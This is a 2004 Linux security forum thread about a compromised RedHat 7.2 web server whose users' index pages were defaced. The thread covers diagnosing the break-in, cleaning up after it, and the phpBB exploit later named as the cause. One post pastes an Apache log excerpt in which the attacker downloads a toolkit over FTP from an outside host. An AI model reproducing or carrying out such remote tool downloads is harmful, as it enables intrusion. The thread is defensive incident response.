LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 11-30-2004, 12:50 PM   #1
abesharp
LQ Newbie
 
Registered: Nov 2004
Posts: 3

Rep: Reputation: 0
RedHat 7.2 server hacked and all $HOME/public_html/index.htm files replaced


Hi,
I wonder if anyone can explain how the following problem might have occurred. On the server in question there are a number of users hosting websites in their $HOME/public_html directories. This morning, the index file in each directory (be it index.htm, index.html or index.php) was replaced with an index file (with the same extension as the one that was originally there) containing some kind of anti-war message in Spanish. I was able to restore the correct files from a backup.

I can find no evidence of how this might have occurred. The ownerships and permissions of all the files was unchanged. Nobody had (or would have been able to) log in by means of SSH, and the messages log showed no evidence of FTP logins.

I think it might have been due to a problem with a PHP or Perl script on somebody's website and as a precaution I have upgraded Apache and MySQL to the lates versions, also found a couple of formmail.pl scripts in user's cgi-bin directories and removed them. But I am just guessing really because I don't know how the problem happened in the first place. Does anyone have any idea about how it might have happened, or how to go about finding the cause ?

Many thanks
Abe
 
Old 11-30-2004, 02:11 PM   #2
hostprotect
Member
 
Registered: Nov 2004
Posts: 56

Rep: Reputation: 15
You could sort through your httpd logs. Look for access times so you could pin point what happened around the time of the file changes. Also grab a webserver scanner like nikto (cirt.net) . It will be able to tell you if you have any immediate script flaws.


Cheers,
RYan
 
Old 12-01-2004, 06:22 AM   #3
abesharp
LQ Newbie
 
Registered: Nov 2004
Posts: 3

Original Poster
Rep: Reputation: 0
Thanks Ryan,
I looked in the httpd error_log and found numerous entries like this :

--21:54:38-- ftp://darktr0jan:*password*@gate.pol.../neon20.tar.gz
=> `neon20.tar.gz.59'
Resolving gate.polarhome.com... done.
Connecting to gate.polarhome.com[81.216.198.11]:21... connected.
Logging in as darktr0jan ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD /bandy ... done.
==> PORT ... done. ==> RETR neon20.tar.gz ... done.
Length: 26,405 (unauthoritative)

0K .......... .......... ..... 100% 7.13 KB/s

21:54:56 (7.13 KB/s) - `neon20.tar.gz.59' saved [26405]

...and found the corresponding file in /tmp. Also in /tmp there was a hidden folder called .f containing a 'kmod' executable with SUID permissions. So I guess that was it ...

But I would really like to prevent httpd from allowing people to do this kind of stuff !
thanks
Abe
 
Old 12-01-2004, 05:52 PM   #4
Capt_Caveman
Senior Member
 
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658

Rep: Reputation: 69
If you haven't been keeping up with security updates (and Redhat 7.2 hasn't been supported for some time now), then there were likely a number of security vulnerabilities in your system. The kmod is stuff is likely an exploit for the kernel ptrace vuln that allowed an attacker to gain root priviledges on the system. So if your kernel hasn't been updated, then you could be in real trouble. Finding the point of entry is important, but updating software after-the-fact makes it kind of pointless once they've gained access.

You should go through all the security and system logs, keeping an eye open for kernel panics or oops or any other application error/failures that could be clue that something was exploited. I'd also recommend going through the bash_history files of all the users, especially root, looking for strange activity. Take a look at /etc/password for any new users or users with a UID of 0. Run rpm -Va to verify integrity of system packages and definitely download chkrootkit or rootkit hunter and run a scan to look for signs of an intrusion.

Last edited by Capt_Caveman; 12-01-2004 at 05:53 PM.
 
Old 12-01-2004, 08:03 PM   #5
hostprotect
Member
 
Registered: Nov 2004
Posts: 56

Rep: Reputation: 15
I would recommend a re-install of the OS. Also get in contact with the abuse admin for www.polarhome.com about the "cracker" getting his tools from a legit site he/her may have.


Cheers
 
Old 12-09-2004, 03:05 AM   #6
abesharp
LQ Newbie
 
Registered: Nov 2004
Posts: 3

Original Poster
Rep: Reputation: 0
Thanks everyone. It turned out to be due to the phpBB 2 'highlighting' exploit ...
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
Before becoming aware of this . I ended up re-installing the OS on the compromised server and moving the hosting accounts on it onto a different server - which was then itself hacked ! :-(
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
index.htm doesn't open instead it show up merlin740 LinuxQuestions.org Member Success Stories 2 10-04-2004 12:08 PM
Cant access index.htm on my newly set up apache jo5eph Red Hat 4 03-15-2004 01:47 PM
Apache issue (Won't recognise index.htm) R4z0r Linux - Networking 1 09-21-2003 08:43 AM
Help with Apache & index.htm idev Linux - Networking 3 09-18-2003 09:58 AM
Help with Apache & index.htm joe_dejesus Linux - Networking 9 08-29-2001 01:20 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 12:21 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration